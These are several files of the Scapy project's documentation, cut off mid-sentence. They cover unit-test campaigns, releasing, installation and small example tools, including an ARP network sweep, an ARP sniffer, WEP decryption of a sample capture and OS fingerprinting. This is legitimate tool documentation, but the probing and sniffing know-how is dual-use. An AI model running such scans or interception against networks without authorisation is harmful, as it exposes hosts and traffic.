basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within the desired grouping. For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file. Syntax of a Test Campaign ------------------------- Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued. ================ ================= Syntax Specifier Definition ================ ================= ‘%’ Give the test campaign's name. ‘+’ Announce a new test set. ‘=’ Announce a new unit test. ‘~’ Announce keywords for the current unit test. ‘*’ Denotes a comment that will be included in the report. ‘#’ Testcase annotations that are discarded by the interpreter. ================ ================= Table 1 - UTScapy Syntax Specifiers Comments placed in the test report have a context. Each comment will be associated with the last defined test container - be it an individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after the declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before the definition of the set’s first unit test. The generic format for a test campaign is shown in the following table:: % Test Campaign Name * Comment describing this campaign + Test Set 1 * comments for test set 1 = Unit Test 1 ~ keywords * Comments for unit test 1 # Python statements follow a = 1 print(a) a == 1 Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during the development of a test campaign, the user may wish to mark new tests under development with the keyword “debug”. Once the tests run successfully to their desired conclusion, the keyword “debug” could be removed. Keywords such as “regression” or “limited” could be used as well. It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed. The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax:: [root@localhost scapy]# ./UTscapy.py –h Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-d|-D] [-F] [-q[q]] -l : generate local files -F : expand only failed tests -d : dump campaign -D : dump campaign and stop -C : don't calculate CRC and SHA -q : quiet mode -qq : [silent mode] -n : only tests whose numbers are given (eg. 1,3-7,12) -m : additional module to put in the namespace -k ,,... : include only tests with one of those keywords (can be used many times) -K ,,... : remove tests with one of those keywords (can be used many times) Table 3 - UTScapy command line syntax All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from . Similarly, if no output file is specified it is directed to . The default output format is “ansi”. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy. ========== ============== ============================================================================= Argument Argument Value Meaning to UTScapy ========== ============== ============================================================================= -t testfile Input test file defining test campaign (default = ) -o output_file File for output of test campaign results (default = ) -f test ansi, HTML, LaTeX, Format out output report (default = ansi) -l Generate report associated files locally. For HTML, generates JavaScript and the style sheet -F Failed test cases will be initially expanded by default in HTML output -d Print a terse listing of the campaign before executing the campaign -D Print a terse listing of the campaign and stop. Do not execute campaign -C Do not calculate test signatures -q Do not update test progress to the screen as tests are executed -qq Silent mode -n testnum Execute only those tests listed by number. Test numbers may be retrieved using –d or –D. Tests may be listed as a comma separated list and may include ranges (e.g. 1, 3-7, 12) -m module Load module before executing tests. Useful in testing derived works of Scapy. Note: Derived works that are intended to execute as "__main__" will not be invoked by UTScapy as “__main__”. -k kw1, kw2, ... Include only tests with keyword “kw1”. Multiple keywords may be specified. -K kw1, kw2, ... Exclude tests with keyword “kw1”. Multiple keywords may be specified. ========== ============== ============================================================================= Table 4 - UTScapy parameters Table 5 shows a simple test campaign with multiple tests set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design. :: % Example Test Campaign # Comment describing this campaign # # To run this campaign, try: # ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F # * This comment is associated with the test campaign and will appear * in the produced output. + Test Set 1 = Unit Test 1 ~ test_set_1 simple a = 1 print(a) = Unit test 2 ~ test_set_1 simple * this test will fail b = 2 a == b = Unit test 3 ~ test_set_1 harder a = 1 b = 2 c = "hello" assert (a != b) c == "hello" + Test Set 2 = Unit Test 4 ~ test_set_2 harder b = 2 d = b d is b = Unit Test 5 ~ test_set_2 harder hardest a = 2 b = 3 d = 4 e = (a * b)**d # The following statement evaluates to False but is not last; continue e == 6 # assert evaluates to False; stop test and fail assert (e == 7) e == 1296 = Unit Test 6 ~ test_set_2 hardest print(e) e == 1296 To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it:: ./test/run_tests -t demo_campaign.txt -f html -o demo_campaign.html -F -l Examine the output generated in file ``demo_campaign.html``. Using tox to test Scapy ----------------------- The ``tox`` command simplifies testing Scapy. It will automatically create virtual environments and install the mandatory Python modules. For example, on a fresh Debian installation, the following command will start all Scapy unit tests automatically without any external dependency:: tox -- -K vcan_socket -K tcpdump -K tshark -K nmap -K manufdb -K crypto .. note:: This will trigger the unit tests on all available Python versions unless you specify a `-e` option. See below For your convenience, and for package maintainers, we provide a util that run tox on only a single (default Python) environment, again with no external dependencies:: ./test/run_tests VIM syntax highlighting for .uts files -------------------------------------- Copy all files from ``scapy/doc/syntax/vim_uts_syntax/ftdetect`` and ``scapy/doc/syntax/vim_uts_syntax/syntax`` into ``~/.vim/`` and preserve the folder structure. If ftdetect/filetype.vim already exists, you might need to modify this file manually. These commands will do the installation:: cp -i -v ftdetect/filetype.vim $HOME/.vim/ftdetect/filetype.vim cp -i -v ftdetect/uts.vim $HOME/.vim/ftdetect/uts.vim cp -i -v syntax/uts.vim $HOME/.vim/syntax/uts.vim Alternatively, a install script in ``scapy/doc/syntax/vim_uts_syntax/`` does the installation automatically. Releasing Scapy =============== Under the hood, a Scapy release is represented as a signed git tag. Prior to signing a commit, the maintainer that wishes to create a release must: * check that the corresponding Travis and AppVeyor tests pass * run ``./run_scapy`` locally * run ``tox`` * run unit tests on BSD using the Vagrant setup from ``scapy/doc/vagrant_ci/`` Taking v2.4.3 as an example, the following commands can be used to sign and publish the release:: $ git tag -s v2.4.3 -m "Release 2.4.3" $ git tag v2.4.3 -v $ git push --tags Release Candidates (RC) could also be done. For example, the first RC will be tagged v2.4.3rc1 and the message ``2.4.3 Release Candidate #1``. .. note:: To add a signing key, configure to use a SSH one, then register it via:: $ git config --global gpg.format ssh $ git config --global user.signingkey ~/.ssh/examplekey.pub Prior to uploading the release to PyPi, the mail address of the maintainer performing the release must be added next to his name in ``pyproject.toml``. See `this `_ for details. The following commands can then be used:: $ pip install --upgrade build $ SCAPY_VERSION=2.6.0rc1 python -m build $ twine check dist/* $ twine upload dist/* .. warning:: Make sure that you don't have left-overs in your ``dist/`` folder ! There should only be the source and the wheel for the package. Also check that the wheel ends in ``*-py3-none-any.whl`` ! Packaging Scapy =============== When packaging Scapy, you should build the source while setting the ``SCAPY_VERSION`` variable, in order to make sure that the version remains consistent. .. code:: bash $ SCAPY_VERSION=2.5.0 python3 -m build ... Successfully built scapy-2.5.0.tar.gz and scapy-2.5.0-py3-none-any.whl If you want to test Scapy while packaging it, you are encouraged to use the ``./run_tests`` script with no arguments. It will run a subset of the tests that don't use any external dependency, and will be easier to test. The only dependency is ``tox`` .. code:: bash $ ./test/run_tests ================================================ FILE: doc/scapy/extending.rst ================================================ ******************** Build your own tools ******************** You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file. If you have built some interesting tools, please contribute back to the github wiki ! Using Scapy in your tools ========================= You can easily use Scapy in your own tools. Just import what you need and do it. This first example takes an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet:: #! /usr/bin/env python import sys from scapy.all import sr1,IP,ICMP p=sr1(IP(dst=sys.argv[1])/ICMP()) if p: p.show() Configuring Scapy's logger -------------------------- Scapy configures a logger automatically using Python's ``logging`` module. This logger is custom to support things like colors and frequency filters. By default, it is set to ``WARNING`` (when not in interactive mode), but you can change that using for instance:: import logging logging.getLogger("scapy").setLevel(logging.CRITICAL) To disable almost all logs. (Scapy simply won't work properly if a CRITICAL failure occurs) .. note:: On interactive mode, the default log level is ``INFO`` More examples ------------- This is a more complex example which does an ARP ping and reports what it found with LaTeX formatting:: #! /usr/bin/env python # arping2tex : arpings a network and outputs a LaTeX table as a result import sys if len(sys.argv) != 2: print("Usage: arping2tex \n eg: arping2tex 192.168.1.0/24") sys.exit(1) from scapy.all import srp, Ether, ARP, conf conf.verb = 0 ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=sys.argv[1]), timeout=2) print(r"\begin{tabular}{|l|l|}") print(r"\hline") print(r"MAC & IP\\") print(r"\hline") for snd,rcv in ans: print(rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\")) print(r"\hline") print(r"\end{tabular}") Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing:: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) For a real life example, you can check `Wifitap `_. Sadly, Wifitap is no longer maintained but nonetheless demonstrates Scapy's Wi-Fi capabilities. The code can be retrieved from `github `_. Extending Scapy with add-ons ============================ If you need to add some new protocols, new functions, anything, you can write it directly into Scapy's source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file. Once you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact():: #! /usr/bin/env python # Set log level to benefit from Scapy warnings import logging logger = logging.getLogger("scapy") logger.setLevel(logging.INFO) from scapy.all import * class Test(Packet): name = "Test packet" fields_desc = [ ShortField("test1", 1), ShortField("test2", 2) ] def make_test(x,y): return Ether()/IP()/Test(test1=x,test2=y) if __name__ == "__main__": interact(mydict=globals(), mybanner="Test add-on v3.14") If you put the above listing in the test_interact.py file and make it executable, you'll get:: # ./test_interact.py Welcome to Scapy (0.9.17.109beta) Test add-on v3.14 >>> make_test(42,666) >> ================================================ FILE: doc/scapy/functions.rst ================================================ *********************** Calling Scapy functions *********************** This section provides some examples that show how to benefit from Scapy functions in your own code. UDP checksum ============ The following example explains how to use the checksum() function to compute and UDP checksum manually. The following steps must be performed: 1. compute the UDP pseudo header as described in RFC768 2. build a UDP packet with Scapy with p[UDP].chksum=0 3. call checksum() with the pseudo header and the UDP packet :: from scapy.all import * # Get the UDP checksum computed by Scapy packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP()/DNS() packet = IP(raw(packet)) # Build packet (automatically done when sending) checksum_scapy = packet[UDP].chksum # Set the UDP checksum to 0 and compute the checksum 'manually' packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP(chksum=0)/DNS() packet_raw = raw(packet) udp_raw = packet_raw[20:] # in4_chksum is used to automatically build a pseudo-header chksum = in4_chksum(socket.IPPROTO_UDP, packet[IP], udp_raw) # For more infos, call "help(in4_chksum)" assert(checksum_scapy == chksum) ================================================ FILE: doc/scapy/graphics/fwdmachine.drawio ================================================ ================================================ FILE: doc/scapy/index.rst ================================================ .. Scapy documentation master file, created by sphinx-quickstart on Mon Sep 8 19:37:39 2008. You can adapt this file completely to your liking, but it should at least contain the root `toctree` directive. Welcome to Scapy's documentation! ================================= .. image:: graphics/scapy_logo.png :scale: 20 :align: center :Version: |version| :Release: |release| :Date: |today| Scapy's documentation is under a `Creative Commons Attribution - Non-Commercial - Share Alike 2.5 `_ license. .. toctree:: :maxdepth: 2 :caption: General documentation introduction installation usage advanced_usage/index.rst routing .. toctree:: :maxdepth: 2 :caption: Extend scapy extending build_dissect functions .. toctree:: :maxdepth: 2 :caption: Layer-specific documentation :glob: layers/index.rst .. toctree:: :maxdepth: 2 :caption: About troubleshooting development backmatter .. only:: html .. toctree:: :maxdepth: 1 :titlesonly: :caption: API Reference api/scapy.rst ================================================ FILE: doc/scapy/installation.rst ================================================ .. highlight:: sh ************************* Download and Installation ************************* Overview ======== 0. Install `Python 3.7+ `_. 1. `Download and install Scapy. <#installing-scapy-v2-x>`_ 2. `Follow the platform-specific instructions (dependencies) <#platform-specific-instructions>`_. 3. (Optional): `Install additional software for special features <#optional-software-for-special-features>`_. 4. Run Scapy with root privileges. Each of these steps can be done in a different way depending on your platform and on the version of Scapy you want to use. Follow the platform-specific instructions for more detail. Scapy versions ============== .. note:: Scapy 2.5.0 was the last version to support Python 2.7 ! +------------------+-------+-------+--------+ | Scapy version | 2.3.3 | 2.5.0 | >2.5.0 | +==================+=======+=======+========+ | Python 2.2-2.6 | ✅ | ❌ | ❌ | +------------------+-------+-------+--------+ | Python 2.7 | ✅ | ✅ | ❌ | +------------------+-------+-------+--------+ | Python 3.4-3.6 | ❌ | ✅ | ❌ | +------------------+-------+-------+--------+ | Python 3.7-3.11 | ❌ | ✅ | ✅ | +------------------+-------+-------+--------+ Installing Scapy v2.x ===================== The following steps describe how to install (or update) Scapy itself. Dependent on your platform, some additional libraries might have to be installed to make it actually work. So please also have a look at the platform specific chapters on how to install those requirements. .. note:: The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X). For Windows, see the `special chapter <#windows>`_ below. Make sure you have Python installed before you go on. Latest release -------------- .. note:: To get the latest versions, with bugfixes and new features, but maybe not as stable, see the `development version <#current-development-version>`_. Use pip:: $ pip install scapy .. !! COMMENTED UNTIL NEXT RELEASE !! Scapy specifies ``optional-dependencies`` so that you can install its optional dependencies directly through pip: +----------+------------------------------------------+-----------------------------+ | Bundle | Contains | Pip command | +==========+==========================================+=============================+ | Default | Only Scapy | ``pip install scapy`` | +----------+------------------------------------------+-----------------------------+ | CLI | Scapy & IPython. **Highly recommended** | ``pip install scapy[cli]`` | +----------+------------------------------------------+-----------------------------+ | All | Scapy & all its optional dependencies | ``pip install scapy[all]`` | +----------+------------------------------------------+-----------------------------+ Current development version ---------------------------- .. index:: single: Git, repository If you always want the latest version of Scapy with all new the features and bugfixes (but slightly less stable), you can install Scapy from its Git repository. .. note:: If you don't want to clone Scapy, you can install the development version in one line using:: $ pip install https://github.com/secdev/scapy/archive/refs/heads/master.zip 1. Check out a clone of Scapy's repository with `git `_:: $ git clone https://github.com/secdev/scapy.git $ cd scapy 2. Install Scapy using `pip `_:: $ pip install . 3. If you used Git, you can always update to the latest version afterwards:: $ git pull $ pip install . .. note:: You can run scapy without installing it using the ``run_scapy`` (unix) or ``run_scapy.bat`` (Windows) script. Optional Dependencies ===================== For some special features, Scapy will need some dependencies to be installed. Most of those software are installable via ``pip``. Here are the topics involved and some examples that you can use to try if your installation was successful. .. index:: single: plot() * Plotting. ``plot()`` needs `Matplotlib `_. Matplotlib is installable via ``pip install matplotlib`` .. code-block:: python >>> p=sniff(count=50) >>> p.plot(lambda x:len(x)) * 2D graphics. ``psdump()`` and ``pdfdump()`` need `PyX `_ which in turn needs a LaTeX distribution: `texlive (Unix) `_ or `MikTex (Windows) `_. You can install pyx using ``pip install pyx`` .. code-block:: python >>> p=IP()/ICMP() >>> p.pdfdump("test.pdf") * Graphs. ``conversations()`` needs `Graphviz `_ and `ImageMagick `_. .. code-block:: python >>> p=rdpcap("myfile.pcap") >>> p.conversations(type="jpg", target="> test.jpg") .. note:: ``Graphviz`` and ``ImageMagick`` need to be installed separately, using your platform-specific package manager. * 3D graphics. ``trace3D()`` needs `VPython-Jupyter `_. VPython-Jupyter is installable via ``pip install vpython`` .. code-block:: python >>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"]) >>> a.trace3D() .. index:: single: WEP, unwep() * WEP decryption. ``unwep()`` needs `cryptography `_. Example using a `Weplap test file `_: Cryptography is installable via ``pip install cryptography`` .. code-block:: python >>> enc=rdpcap("weplab-64bit-AA-managed.pcap") >>> enc.show() >>> enc[0] >>> conf.wepkey="AA\x00\x00\x00" >>> dec=Dot11PacketList(enc).toEthernet() >>> dec.show() >>> dec[0] * PKI operations and TLS decryption. `cryptography `_ is also needed. * Fingerprinting. ``nmap_fp()`` needs `Nmap `_. You need an `old version `_ (before v4.23) that still supports first generation fingerprinting. .. code-block:: python >>> load_module("nmap") >>> nmap_fp("192.168.0.1") Begin emission: Finished to send 8 packets. Received 19 packets, got 4 answers, remaining 4 packets (0.88749999999999996, ['Draytek Vigor 2000 ISDN router']) * VOIP. ``voip_play()`` needs `SoX `_. Platform-specific instructions ============================== As a general rule, you can toggle the **libpcap** integration `on` or `off` at any time, using:: from scapy.config import conf conf.use_pcap = True Linux native ------------ Scapy can run natively on Linux, without libpcap. * Install `Python 3.7+ `__. * Install `libpcap `_. (By default it will only be used to compile BPF filters) * Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``) * If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``) Debian/Ubuntu/Fedora -------------------- Make sure libpcap is installed: - Debian/Ubuntu: .. code-block:: text $ sudo apt-get install libpcap-dev - Fedora: .. code-block:: text $ yum install libpcap-devel Then install Scapy via ``pip`` or ``apt`` (bundled under ``python3-scapy``) All dependencies may be installed either via the platform-specific installer, or via PyPI. See `Optional Dependencies <#optional-dependencies>`_ for more information. Mac OS X -------- On Mac OS X, Scapy **DOES work natively** since the recent versions. However, you may want to make Scapy use libpcap. You can choose to install it using either Homebrew or MacPorts. They both work fine, yet Homebrew is used to run unit tests with `Travis CI `_. .. note:: Libpcap might already be installed on your platform (for instance, if you have tcpdump). This is the case of `OSX `_ Install using Homebrew ^^^^^^^^^^^^^^^^^^^^^^ 1. Update Homebrew:: $ brew update 2. Install libpcap:: $ brew install libpcap Enable it In Scapy:: conf.use_pcap = True Install using MacPorts ^^^^^^^^^^^^^^^^^^^^^^ 1. Update MacPorts:: $ sudo port -d selfupdate 2. Install libpcap:: $ sudo port install libpcap Enable it In Scapy:: conf.use_pcap = True OpenBSD ------- In a similar manner, to install Scapy on OpenBSD 5.9+, you **may** want to install libpcap, if you do not want to use the native extension: .. code-block:: text $ doas pkg_add libpcap Then install Scapy via ``pip`` or ``pkg_add`` (bundled under ``python-scapy``) All dependencies may be installed either via the platform-specific installer, or via PyPI. See `Optional Dependencies <#optional-dependencies>`_ for more information. SunOS / Solaris --------------- Solaris / SunOS requires ``libpcap`` (installed by default) to work. .. note:: In fact, Solaris doesn't support `AF_PACKET`, which Scapy uses on Linux, but rather uses its own system `DLPI`. See `this page `_. We prefer using the very universal `libpcap` that spending time implementing support for `DLPI`. .. _windows_installation: Windows ------- You need to install Npcap in order to install Scapy on Windows (should also work with Winpcap, but unsupported nowadays): * Download link: `Npcap `_: `the latest version `_ * During installation: * we advise to turn **off** the ``Winpcap compatibility mode`` * if you want to use your wifi card in monitor mode (if supported), make sure you enable the ``802.11`` option Once that is done, you can `continue with Scapy's installation <#latest-release>`_. You should then be able to open a ``cmd.exe`` and just call ``scapy``. If not, you probably haven't enabled the "Add Python to PATH" option when installing Python. You can follow the instructions `over here `_ to change that (or add it manually). Screenshots ^^^^^^^^^^^ .. image:: graphics/scapy-win-screenshot1.png :scale: 80 :align: center .. image:: graphics/scapy-win-screenshot2.png :scale: 80 :align: center Build the documentation offline =============================== The Scapy project's documentation is written using reStructuredText (files \*.rst) and can be built using the `Sphinx `_ python library. The official online version is available on `readthedocs `_. HTML version ------------ The instructions to build the HTML version are: :: (activate a virtualenv) pip install sphinx cd doc/scapy make html You can now open the resulting HTML file ``_build/html/index.html`` in your favorite web browser. To use the ReadTheDocs' template, you will have to install the corresponding theme with: :: pip install sphinx_rtd_theme UML diagram ----------- Using ``pyreverse`` you can build a UML representation of the Scapy source code's object hierarchy. Here is an example of how to build the inheritance graph for the Fields objects : :: (activate a virtualenv) pip install pylint cd scapy/ pyreverse -o png -p fields scapy/fields.py This will generate a ``classes_fields.png`` picture containing the inheritance hierarchy. Note that you can provide as many modules or packages as you want, but the result will quickly get unreadable. To see the dependencies between the DHCP layer and the ansmachine module, you can run: :: pyreverse -o png -p dhcp_ans scapy/ansmachine.py scapy/layers/dhcp.py scapy/packet.py In this case, Pyreverse will also generate a ``packages_dhcp_ans.png`` showing the link between the different python modules provided. ================================================ FILE: doc/scapy/introduction.rst ================================================ ************ Introduction ************ .. sectionauthor:: Philippe Biondi About Scapy =========== Scapy is a Python program that enables the user to send, sniff, dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks. In other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark. .. image:: graphics/testing-taxonomy.* :scale: 50 Scapy also performs very well on a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to open, closed, or filtered, but is the whole packet. On top of this can be built more high level functions. For example, one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report. What makes Scapy so special =========================== First, with most other networking tools, you won't build something the author didn't imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool. Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved for human beings. Some programs try to mimic this behavior. For instance they say "*this port is open*" instead of "*I received a SYN-ACK*". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed. Third, even programs which only decode do not give you all the information they received. The vision of the network they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding? Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking an 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want and stack them like you want. You're an adult after all. In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy. After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times. Ask for a traceroute and look at the padding, for instance. Fast packet design ------------------ Other tools stick to the **program-that-you-run-from-a-shell** paradigm. The result is an awful syntax to describe a packet. For these tools, the solution adopted uses a higher but less powerful description, in the form of scenarios imagined by the tool's author. As an example, only the IP address must be given to a port scanner to trigger the **port scanning** scenario. Even if the scenario is tweaked a bit, you still are stuck to a port scan. Scapy's paradigm is to propose a Domain Specific Language (DSL) that enables a powerful and fast description of any kind of packet. Using the Python syntax and a Python interpreter as the DSL syntax and interpreter has many advantages: there is no need to write a separate interpreter, users don't need to learn yet another language, and they benefit from a complete, concise, and very powerful language. Scapy enables the user to describe a packet or set of packets as layers that are stacked one upon another. Fields of each layer have useful default values that can be overloaded. Scapy does not oblige the user to use predetermined methods or templates. This alleviates the requirement of writing a new tool each time a different scenario is required. In C, it may take an average of 60 lines to describe a packet. With Scapy, the packets to be sent may be described in only a single line, with another line to print the result. 90\% of network probing tools can be rewritten in 2 lines of Scapy. Probe once, interpret many -------------------------- Network discovery is blackbox testing. When probing a network, many stimuli are sent, while only a few of them are answered. If the right stimuli are chosen, the desired information may be obtained by the responses or the lack of responses. Unlike many tools, Scapy gives all the information, i.e. all the stimuli sent and all the responses received. Examination of this data will give the user the desired information. When the dataset is small, the user can just dig for it. In other cases, the interpretation of the data will depend on the point of view taken. Most tools choose the viewpoint and discard all the data not related to that point of view. Because Scapy gives the complete raw data, that data may be used many times allowing the viewpoint to evolve during analysis. For example, a TCP port scan may be probed and the data visualized as the result of the port scan. The data could then also be visualized with respect to the TTL of the response packet. A new probe need not be initiated to adjust the viewpoint of the data. .. image:: graphics/scapy-concept.* :scale: 80 Scapy decodes, it does not interpret ------------------------------------ A common problem with network probing tools is they try to interpret the answers received instead of only decoding and giving facts. Reporting something like **Received a TCP Reset on port 80** is not subject to interpretation errors. Reporting **Port 80 is closed** is an interpretation that may be right most of the time but wrong in some specific contexts the tool's author did not imagine. For instance, some scanners tend to report a filtered TCP port when they receive an ICMP destination unreachable packet. This may be right, but in some cases, it means the packet was not filtered by the firewall, but rather there was no host to forward the packet to. Interpreting results can help users that don't know what a port scan is, but it can also make more harm than good, as it injects bias into the results. What can tend to happen is that knowledgeable users will try to reverse engineer the tool's interpretation to derive the facts that triggered that interpretation, so that they can do the interpretation themselves. Unfortunately, much information is lost in this operation. Quick demo ========== First, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded:: # ./run_scapy -s mysession New session [mysession] Welcome to Scapy (2.4.0) >>> IP() >>> target="www.target.com/30" >>> ip=IP(dst=target) >>> ip |> >>> [p for p in ip] [, , , ] >>> ^D :: # ./run_scapy -s mysession Using session [mysession] Welcome to Scapy (2.4.0) >>> ip |> Now, let's manipulate some packets:: >>> IP() >>> a=IP(dst="172.16.1.40") >>> a >>> a.dst '172.16.1.40' >>> a.ttl 64 Let's say I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload:: >>> Ether(dst="ff:ff:ff:ff:ff:ff") /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9)) /UDP() We have 18 packets defined in 1 line (1 implicit packet) Sensible default values ----------------------- Scapy tries to use sensible default values for all packet fields. If not overridden, * IP source is chosen according to destination and routing table * Checksum is computed * Source MAC is chosen according to the output interface * Ethernet type and IP protocol are determined by the upper layer .. image:: graphics/default-values-ip.png :scale: 60 Other fields’ default values are chosen to be the most useful ones: * TCP source port is 20, destination port is 80. * UDP source and destination ports are 53. * ICMP type is echo request. Learning Python =============== Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.) If you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial `_ by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python `_ is a very good start too. ================================================ FILE: doc/scapy/layers/automotive.rst ================================================ .. note:: This document is under a `Creative Commons Attribution - Non-Commercial - Share Alike 2.5 `_ license. ################################# Automotive-specific Documentation ################################# .. sectionauthor:: Nils Weiss ******** Overview ******** .. note:: All automotive-related features work best on Linux systems. CANSockets and ISOTPSockets are based on Linux kernel modules. The python-can project is used to support CAN and CANSockets on a wider range of operating systems and CAN hardware interfaces. Protocols ========= The following table should give a brief overview of all the automotive-related capabilities of Scapy. Most application layer protocols have many specialized ``Packet`` classes. These special-purpose ``Packets`` are not part of this overview. Use the ``explore()`` function to get all information about one specific protocol. +----------------------+----------------------+--------------------------------------------------------+ | OSI Layer | Protocol | Scapy Implementations | +======================+======================+========================================================+ | Application Layer | UDS (ISO 14229) | UDS, UDS_*, UDS_TesterPresentSender | | +----------------------+--------------------------------------------------------+ | | GMLAN | GMLAN, GMLAN_*, GMLAN_[Utilities] | | +----------------------+--------------------------------------------------------+ | | SOME/IP | SOMEIP, SD | | +----------------------+--------------------------------------------------------+ | | BMW HSFZ | HSFZ, HSFZSocket, UDS_HSFZSocket | | +----------------------+--------------------------------------------------------+ | | OBD | OBD, OBD_S0[0-9A] | | +----------------------+--------------------------------------------------------+ | | CCP | CCP, DTO, CRO | | +----------------------+--------------------------------------------------------+ | | XCP | XCPOnCAN, XCPOnUDP, XCPOnTCP, CTORequest, CTOResponse, | | | | DTO | +----------------------+----------------------+--------------------------------------------------------+ | Transportation Layer | ISO-TP (ISO 15765-2) | ISOTPSocket, ISOTPNativeSocket, ISOTPSoftSocket | | | | | | | | ISOTPSniffer, ISOTPMessageBuilder, ISOTPSession | | | | | | | | ISOTPHeader, ISOTPHeaderEA, isotp_scan | | | | | | | | ISOTP, ISOTP_SF, ISOTP_FF, ISOTP_CF, ISOTP_FC | +----------------------+----------------------+--------------------------------------------------------+ | Data Link Layer | CAN (ISO 11898) | CAN, CANSocket, rdcandump, CandumpReader | +----------------------+----------------------+--------------------------------------------------------+ ******************** Technical Background ******************** Parts this section were published in a study report [10]_. Physical Protocols ================== More than 20 different communication 